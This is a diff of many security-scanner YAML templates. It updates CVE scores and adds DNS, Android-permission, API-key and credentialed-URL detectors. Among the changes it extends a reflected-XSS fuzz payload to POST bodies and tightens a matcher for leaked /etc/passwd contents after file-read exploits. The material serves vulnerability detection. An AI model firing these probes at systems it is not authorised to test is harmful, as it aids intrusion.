          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4a0a004730450220454f6f323274b2f5854bb777ed303c0eea4bc1989bd36581ac679653bd4bd68c022100fce3c67a5933788bb1487636fe01650b96f20507483fb293bf5e6534e367db62:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201b3762cd94d7077d3e322fe61c1045a80e07c1d111cc71a6075fc9ba1f184595022100dc2be6f8ae39f6801a84e41f77c752fa19f3a3fb1a10e9c1a7badada488b2474:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2022-22965
    cwe-id: CWE-94
-    epss-score: 0.94441
-    epss-percentile: 0.99989
+    epss-score: 0.99677
+    epss-percentile: 0.99948
    cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
@@ -59,4 +59,4 @@ http:
        words:
          - "User-Agent: Java"
        case-insensitive: true
-# digest: 4a0a00473045022037cce94078d8b39e7da81784ebe327bea6b7feda8853f9944c3472047dc3a940022100a7b968f03114289d76aa31cf29ea08460d1334e6824993a23eb61abf756d7abe:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201c63e812eeb0bcbeb9c858a41f50b8c73f41e06e7c42e98090d6c0835c2230bc02210098925684d40a4ce4ad2f6cdf80e29bf6d10205a063226defc65524e5b399904f:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2022-34265
    cwe-id: CWE-89
-    epss-score: 0.92734
-    epss-percentile: 0.99739
+    epss-score: 0.73274
+    epss-percentile: 0.99392
  tags: sqli,dast,vulhub,cve,cve2022,django,vuln

 variables:
@@ -50,4 +50,4 @@ http:
      - type: status
        status:
          - 500
-# digest: 4b0a00483046022100aac9d15a26ed5537c5ce00e5d29081ade5bdaefc407c4f13406bff5fce9c610002210092f166b95b14979edb9de2aa8e7c0874d98b8032888f33e8fdc948acf319392f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022001b30a141ee254aaa0acb94b35d33ee77adf4ee135a209ce5975b7aafff87e9a022100f1eac2430af11fc8d61bbd426155540f71ff9f49037d6b881ee7989301fa2ea3:922c64590222798bb761d5b6d8e72950
@@ -20,8 +20,8 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2022-42889
    cwe-id: CWE-94
-    epss-score: 0.94161
-    epss-percentile: 0.99911
+    epss-score: 0.99931
+    epss-percentile: 0.99968
  metadata:
    max-request: 1
    confidence: tenative
@@ -70,4 +70,4 @@ http:
        group: 1
        regex:
          - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4b0a00483046022100c5e1819e229f86036e266c7a37c416d98714425aef2e6b8512efb04e4108ea16022100b690e6840b6d5fb82897acb4140f478b5997d0aa67d38fef85406b6051354411:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220608e0f72009f09b999c75f034bbe885b3694a0c68ba6e0eaead510bf493a9ad3022100daec500dedf90c03341c5b110bbe2c48240c19db066eed1eca976d4bd13b0b47:922c64590222798bb761d5b6d8e72950
@@ -18,8 +18,8 @@ info:
    cvss-score: 7.3
    cve-id: CVE-2024-2961
    cwe-id: CWE-787
-    epss-score: 0.9286
-    epss-percentile: 0.99755
+    epss-score: 0.8833
+    epss-percentile: 0.99752
  tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast,vkev,vuln

 flow: http(1) && http(2)
@@ -57,4 +57,4 @@ http:
      - type: regex
        regex:
          - "root:x:0:0"
-# digest: 4a0a0047304502202b290a44cf4a61f704d038aa333eafb504adfdc4a4e55b34d8d9e8b4aeca6ffe02210085ec2d53cbc22b34132c9043e1610e25b64ffa66772292ebdfe73d24a12db186:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221008529646911e2aa9a9839746fad41ccbb4d173feb699adac86508097e50175ac302202fba7504078148bd0b1f297bafbfcd156a23065edbf63dd892560c4c986a43e1:922c64590222798bb761d5b6d8e72950
@@ -35,11 +35,11 @@ http:
        name: linux
        part: body
        regex:
-          - 'root:.*?:[0-9]*:[0-9]*:'
+          - 'root:[^:]*:\d+:\d+:'

      - type: word
        name: windows
        part: body
        words:
          - 'for 16-bit app support'
-# digest: 4a0a00473045022100e69db58569b4f4e5f60abf7e90300e73b9999127ef3b07cc6e90798e22187bdd0220062843c2ed9f731d9b4985e0b587e5f3e8ac58c29aa83a84f18d21ca4dcda0e4:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402206226ef9fba139006dc56d453153b5b180a77cc9b3ae66a5413cfa7e44af95f3602205b76f068bc5cf5a0f9ce05101dff58da2a842beed89bec6b60d30443db8d3d95:922c64590222798bb761d5b6d8e72950
@@ -15,13 +15,21 @@ http:
  - pre-condition:
      - type: dsl
        dsl:
+          - 'method == "POST"'
          - 'method == "GET"'
+        condition: or

    payloads:
      reflection:
        - "'\"><{{first}}>"

    fuzzing:
+      - part: body
+        type: postfix
+        mode: single
+        fuzz:
+          - "{{url_encode(reflection)}}"
+
      - part: query
        type: postfix
        mode: single
@@ -47,4 +55,4 @@ http:
        part: content_type
        words:
          - "text/html"
-# digest: 490a00463044022030f20275349609941dc22dc277024f1a68a1e0e01a361d80ec923d1ad1f838ea02202ba948e17d033abf38602d49193da8e3f7b801dde81371e9377af43c6002828a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502201f71f4b45c2da5dee0ab62eb4154bc61e208d3d7c0809dd5a80d040b0f10392c022100b9431765649131e7908db1de1bf6012edf733a1422e0508b822cdc47244e6e76:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,33 @@
+id: aaaa-fingerprint
+
+info:
+  name: AAAA Record - IPv6 Detection
+  author: rxerium
+  severity: info
+  description: |
+    An AAAA record was detected. AAAA records are used to map domain names to IPv6 addresses.
+  reference:
+    - https://www.cloudflare.com/learning/dns/dns-records/dns-aaaa-record/
+    - https://en.wikipedia.org/wiki/IPv6_address
+  classification:
+    cwe-id: CWE-200
+  metadata:
+    max-request: 1
+  tags: dns,aaaa,ipv6,discovery
+
+dns:
+  - name: "{{FQDN}}"
+    type: AAAA
+
+    matchers:
+      - type: regex
+        part: answer
+        regex:
+          - "IN\tAAAA\t(.+)$"
+
+    extractors:
+      - type: regex
+        group: 1
+        regex:
+          - "IN\tAAAA\t([0-9a-fA-F:]+)"
+# digest: 4b0a00483046022100e5d3d4b5d92a375745b2c274d72b1212999b584867f70b9cbeb53fe689d4109b0221009ac50a1b7de155b5539ca3067d016e84dbc88ed65c1e57eee901b89718ebafec:922c64590222798bb761d5b6d8e72950
@@ -2,7 +2,7 @@ id: azure-takeover-detection

 info:
  name: Microsoft Azure Takeover Detection
-  author: pdteam
+  author: pdteam,zy9ard3
  severity: high
  description: Microsoft Azure is vulnerable to subdomain takeover attacks. Subdomain takeovers are a common, high-severity threat for organizations that regularly create and delete many resources. A subdomain takeover can occur when a D>
  reference:
@@ -28,27 +28,24 @@ dns:
          - NXDOMAIN
      - type: dsl
        dsl:
-          - 'contains(cname, "azure-api.net")'
-          - 'contains(cname, "azure-mobile.net")'
-          - 'contains(cname, "azurecontainer.io")'
-          - 'contains(cname, "azurecr.io")'
-          - 'contains(cname, "azuredatalakestore.net")'
-          - 'contains(cname, "azureedge.net")'
-          - 'contains(cname, "azurefd.net")'
-          - 'contains(cname, "azurehdinsight.net")'
-          - 'contains(cname, "azurewebsites.net")'
-          - 'contains(cname, "azurewebsites.windows.net")'
-          - 'contains(cname, "blob.core.windows.net")'
-          - 'contains(cname, "cloudapp.azure.com")'
-          - 'contains(cname, "database.windows.net")'
-          - 'contains(cname, "redis.cache.windows.net")'
-          - 'contains(cname, "search.windows.net")'
-          - 'contains(cname, "servicebus.windows.net")'
-          - 'contains(cname, "trafficmanager.net")'
-          - 'contains(cname, "visualstudio.com")'
-          - 'contains(cname, "web.core.windows.net")'
+          - 'contains(cname, ".azure-api.net")'
+          - 'contains(cname, ".azure-mobile.net")'
+          - 'contains(cname, ".azurecontainer.io")'
+          - 'contains(cname, ".azurecr.io")'
+          - 'contains(cname, ".azuredatalakestore.net")'
+          - 'contains(cname, ".azurefd.net")'
+          - 'contains(cname, ".azurehdinsight.net")'
+          - 'contains(cname, ".azurewebsites.windows.net")'
+          - 'contains(cname, ".blob.core.windows.net")'
+          - 'contains(cname, ".database.windows.net")'
+          - 'contains(cname, ".redis.cache.windows.net")'
+          - 'contains(cname, ".search.windows.net")'
+          - 'contains(cname, ".servicebus.windows.net")'
+          - 'contains(cname, ".visualstudio.com")'
+          - 'contains(cname, ".web.core.windows.net")'
+
    extractors:
      - type: dsl
        dsl:
          - cname
-# digest: 490a0046304402205c817606f9ab5e9a0c5123c6305e9ffcb9aca3cea193965a883b8c57fe652a22022051050dd472f9b766905aa99037d38114b9d1e3af28cf214413bcc8dd62bb2e5d:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100ea21a22d694a45d9a60b0516c99fff75fe6d21ef1c4ed0d47fbf1db3d3dd69cc022100ecd0145636ed5359db7041e191d866f9bf7dd5817b678c22b49be84463e6a814:922c64590222798bb761d5b6d8e72950
@@ -17,15 +17,17 @@ dns:
  - name: "{{FQDN}}"
    type: CAA
    matchers:
-      - type: regex
-        regex:
-          - "IN\\s+CAA\\s+(.+)"
+      - type: word
+        words:
+          - "CAA"
+        part: answer

    extractors:
      - type: regex
+        part: answer
        group: 1
        regex:
          - 'issue "(.*)"'
          - 'issuewild "(.*)"'
          - 'iodef "(.*)"'
-# digest: 4b0a00483046022100e4c82da722d350948af95c040abdc7c52addee398cf921ec654fd1cf5c1c758a0221008ac947ce44a10cb1238843cde9c77329e19a6803b384c6265c95fddc75e94b27:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100b457768e899a74ac8b817b13b2fb78fa3fa4e76546df342d6696f333e283723b022100bb3a8002d61cd3840e8f4e6c1df97429cc92aa5f4a6295efa2481c5d0d8a2f5f:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,43 @@
+id: dns-internal-ip-disclosure
+
+info:
+  name: Public DNS Resolving to Private IP Addresses
+  author: infosec-asish,DevamShah
+  severity: info
+  description: |
+    Detected when a public domain's DNS A records resolved to private or reserved IP addresses, potentially revealing internal network topology to external parties.
+  reference:
+    - https://tools.ietf.org/html/rfc1918
+    - https://tools.ietf.org/html/rfc6598
+    - https://cwe.mitre.org/data/definitions/200.html
+  classification:
+    cwe-id: CWE-200
+  metadata:
+    max-request: 1
+  tags: dns,exposure,misconfig,recon
+
+dns:
+  - name: "{{FQDN}}"
+    type: A
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        name: a-record-present
+        part: answer
+        regex:
+          - "IN\tA\t(.+)$"
+
+      - type: regex
+        name: rfc1918-or-loopback
+        part: answer
+        regex:
+          - "IN\tA\t(10|127|192\\.168|172\\.(1[6-9]|2[0-9]|3[01]))\\.[0-9]{1,3}\\.[0-9]{1,3}"
+
+    extractors:
+      - type: regex
+        group: 1
+        part: answer
+        regex:
+          - "IN\tA\t((?:10|127|192\\.168|172\\.(?:1[6-9]|2[0-9]|3[01]))\\.[0-9.]+)"
+# digest: 490a00463044022056f0442a5058beaa3436c221d2c3ce122ce78dcf5a164d3e0ed57063e69a91e5022018f59b4e0d6da5020e65151623fd67b9d4270166174bc820cf0be567750e4a4b:922c64590222798bb761d5b6d8e72950
@@ -21,6 +21,7 @@ dns:
        name: "Office 365"
        words:
          - "mail.protection.outlook.com"
+          - "mx.microsoft"

      - type: word
        name: "Google Apps"
@@ -116,4 +117,4 @@ dns:
        name: "Rackspace Email"
        words:
          - "emailsrvr.com"
-# digest: 4a0a00473045022100ae0a84ce7dc6f84e6af73f23f9b5272a459dc4bf88e0338c0fc05ec2b7453e0f022014974e1946fde27ea1124923b5c6acee7df3784c84f6438ca26356c33a635f62:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402207f77075fdb2be2ac28a3217c8f2b522439c0eb2ddcbc800de7df163df61b59fc0220621eeebb779b4171af76f274e5542c523ecd160832398413f25fedd5a12d4885:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,49 @@
+id: srv-service-detect
+
+info:
+  name: SRV Record Service - Detect
+  author: rxerium
+  severity: info
+  description: |
+    Detected services via SRV (Service) DNS records. SRV records defined the location of servers for specified services.
+  reference:
+    - https://www.rfc-editor.org/rfc/rfc2srv
+    - https://en.wikipedia.org/wiki/SRV_record
+  metadata:
+    max-request: 15
+    verified: true
+  tags: dns,srv,service,discovery
+
+dns:
+  - name: "{{service}}.{{FQDN}}"
+    type: SRV
+
+    payloads:
+      service:
+        - _xmpp-server._tcp
+        - _xmpp-client._tcp
+        - _xmpps-client._tcp
+        - _sip._tcp
+        - _sip._udp
+        - _sips._tcp
+        - _caldav._tcp
+        - _carddav._tcp
+        - _autodiscover._tcp
+        - _minecraft._tcp
+        - _teamspeak._tcp
+        - _ldap._tcp
+        - _ldaps._tcp
+        - _kerberos._tcp
+        - _kerberos._udp
+
+    matchers:
+      - type: word
+        part: answer
+        words:
+          - "IN\tSRV"
+
+    extractors:
+      - type: regex
+        regex:
+          - 'SRV\s+\d+\s+\d+\s+\d+\s+(.+)'
+# digest: 4a0a004730450220379e24167bc5f9af99e39f7db265709fe1c221d9dcaecefbef60723c7e3fba6a02210098bc52887cb734c4f962554a8e24516bee734a9755faf7f3bf74fc03c1ffd0d0:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,33 @@
+id: tlsa-record-detect
+
+info:
+  name: TLSA Record - DANE Detection
+  author: rxerium
+  severity: info
+  description: |
+    A TLSA record was detected. TLSA records are used for DANE (DNS-based Authentication of Named Entities) to bind TLS certificates to domain names.
+  reference:
+    - https://en.wikipedia.org/wiki/DNS-based_Authentication_of_Named_Entities
+    - https://www.internetsociety.org/resources/deploy360/dane/
+  classification:
+    cwe-id: CWE-200
+  metadata:
+    max-request: 1
+  tags: dns,tlsa,dane,ssl,discovery
+
+dns:
+  - name: "_443._tcp.{{FQDN}}"
+    type: TLSA
+
+    matchers:
+      - type: regex
+        part: answer
+        regex:
+          - "IN\tTLSA\t(.+)$"
+
+    extractors:
+      - type: regex
+        group: 1
+        regex:
+          - "IN\tTLSA\t(.+)"
+# digest: 490a00463044022079c1cfbb5ed46da7fff285b9079789ba2115ff07632e9493e2245e8e1770a10402202ac8100ddeaa84161ec3c79ac885ee57b84514622f5b69805d987c0d995f799a:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,42 @@
+id: wildcard-dns-detect
+
+info:
+  name: Wildcard DNS Configuration - Detection
+  author: rxerium
+  severity: info
+  description: |
+    A wildcard DNS configuration was detected. Wildcard DNS records can resolve all subdomains to the same IP address, which may indicate a catch-all configuration.
+  reference:
+    - https://en.wikipedia.org/wiki/Wildcard_DNS_record
+    - https://developers.cloudflare.com/dns/manage-dns-records/reference/wildcard-dns-records/
+  classification:
+    cwe-id: CWE-200
+  metadata:
+    max-request: 2
+  tags: dns,wildcard,discovery
+
+dns:
+  - name: "{{randstr}}.{{FQDN}}"
+    type: A
+
+  - name: "{{randstr}}-{{randstr}}.{{FQDN}}"
+    type: A
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "IN\tA\t"
+        part: answer
+
+      - type: regex
+        regex:
+          - "IN\tA\t([0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3})"
+        part: answer
+
+    extractors:
+      - type: regex
+        group: 1
+        regex:
+          - "IN\tA\t([0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3})"
+# digest: 4a0a00473045022100df69f5f0cd212f0875cfab59090d5e10c45f8494a824ba2face5a448b6f0dc1f022007f5b58a434bb0ae65ff7650bfef2f0877f31a42338535a4bd12f696b396d956:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,22 @@
+id: android-request-install-packages-permission
+
+info:
+  name: Android Dangerous Permission - REQUEST_INSTALL_PACKAGES
+  author: Th3l0newolf
+  severity: medium
+  description: |
+    The Android application requests the REQUEST_INSTALL_PACKAGES permission, which allows the app to request installation of packages from unknown sources. This permission may increase the risk of unauthorized APK installation or abuse.
+  reference:
+    - https://developer.android.com/reference/android/Manifest.permission#REQUEST_INSTALL_PACKAGES
+  tags: file,android,permission,manifest
+
+file:
+  - extensions:
+      - xml
+
+    matchers:
+      - type: regex
+        part: body
+        regex:
+          - '<uses-permission[^>]*\w+:name\s*=\s*["\x27]android\.permission\.REQUEST_INSTALL_PACKAGES["\x27][^>]*/?\s*>'
+# digest: 490a00463044022060838b75ff5df1b8dffcf06e351ce617ef02c9093fb5dcef0e6ed798c276d64102200c54bdc230c2f4293629e0268f7366ca8d82ce2ddf87401c53e7c96239e1e404:922c64590222798bb761d5b6d8e72950
@@ -17,7 +17,5 @@ file:
    extractors:
      - type: regex
        regex:
-  - "(http|https|ftp)://[a-zA-Z0-9][^/\\s:@]{2,19}:[^/\\s:@]{3,50}@[a-zA-Z0-9.-]{3,100}(:[0-9]{2,5})?(/|$)[\"'\\s]"
-
-# Enhanced by md on 2023/05/04
-# digest: 4a0a00473045022100adab349203f3598a0410c8f3c1001334e81f7234bdc2a08b635ac94e1235f58b022058d28c28d56d9c932f402b4e1b8eb2288a650b28dcdf417ca5e93efae90b402e:922c64590222798bb761d5b6d8e72950
+          - "(http|https|ftp)://[a-zA-Z0-9][^/\\s:@]{2,19}:[^/\\s:@]{3,50}@[a-zA-Z0-9.-]{3,100}(:[0-9]{2,5})?(/|$)[\"'\\s]"
+# digest: 4a0a00473045022100ed45636930eea463c9a324e1560f6b99c93be5752fa24a0f8043fb766c8264df022014c96d397124545cef351ead324b62f04992680e8a196a0fdbc712a4062f8754:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,24 @@
+id: pendo-api-key-exposure
+
+info:
+  name: Pendo API Key Exposure
+  author: 0x_Akoko
+  severity: medium
+  description: |
+    Detected exposure of Pendo API keys within files or API responses.
+  reference:
+    - https://support.pendo.io/hc/en-us/articles/9491198203547-Pendo-Integration-Key
+  metadata:
+    verified: true
+  tags: file,keys,token,pendo
+
+file:
+  - extensions:
+      - all
+
+    extractors:
+      - type: regex
+        group: 1
+        regex:
+          - 'pendoApiKey.*?([a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12})'
+# digest: 4a0a0047304502202b784208cedfb14485f859e5216da182bdd74230b726f3bbf061444d41f4d36c022100ee392d334182d264df995cbbda5a4d306267283a2d83247419b09bb38646c835:922c64590222798bb761d5b6d8e72950
@@ -22,4 +22,4 @@ file:
          - 'InvalidOperationException'
          - 'UnauthorizedAccessException'
          - 'NotFound'
-# digest: 4a0a00473045022100896880c671452a64b2222f3405a0433d8f62213841356556d3dc6ab7183df41d02202a9c708c58a8116db32deafc1681f7da9193c5c9d6333d85935cab8d1c830bb2:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502204246f5415831b1c65915c9af21d79c1c857b72dc92a22dcd1374f7147341752e0221008959999f9458e23030f8b960dee4b4fe442711df974c0012750fd499f0859e01:922c64590222798bb761d5b6d8e72950
@@ -30,4 +30,4 @@ file:
          - 'BadRequestError'
          - 'MongoError'
          - 'SequelizeDatabaseError'
-# digest: 4a0a00473045022100a1b427a666bd61cfdb6fe44a8d6d3b48901b14a5409568d3e9ea73ddda48d32102203ae596633f9eadebe9970b9c43931dbc0f67bc4962859bf8a3924d7a68a34707:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e58d82d3a2a7d4f15d580a1051f898a436347b8d5943a4e2220cfa34adaf525a0221008d6339c36adc7dee3d69b48227bb10bbb85071f4dd0538557d2745518944919f:922c64590222798bb761d5b6d8e72950
@@ -1,4 +1,4 @@
-id: ransomware_windows_hydracrypt
+id: hydracrypt-malware

 info:
  name: Hydracrypt Malware - Detect
@@ -20,4 +20,4 @@ file:
          - "&Start Recording"
          - "7About record"
        condition: and
-# digest: 4b0a00483046022100bdc7877fd7559b0c2a432fe80d5dc8d7c0f616c0031a17c6b664d2dad9e67cdf0221008b2ead0c67ffa0aaf0703bf70499b85535a639b2767de767fa139612d249cf66:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022036a45fc36b8d82306765a2fabdf2951172e5cbce02267c0cd95c8e75908cb2b1022100b86b003c13bbea53ca358829d50a4884b47eebb1e9b69126b99e491670ac6f49:922c64590222798bb761d5b6d8e72950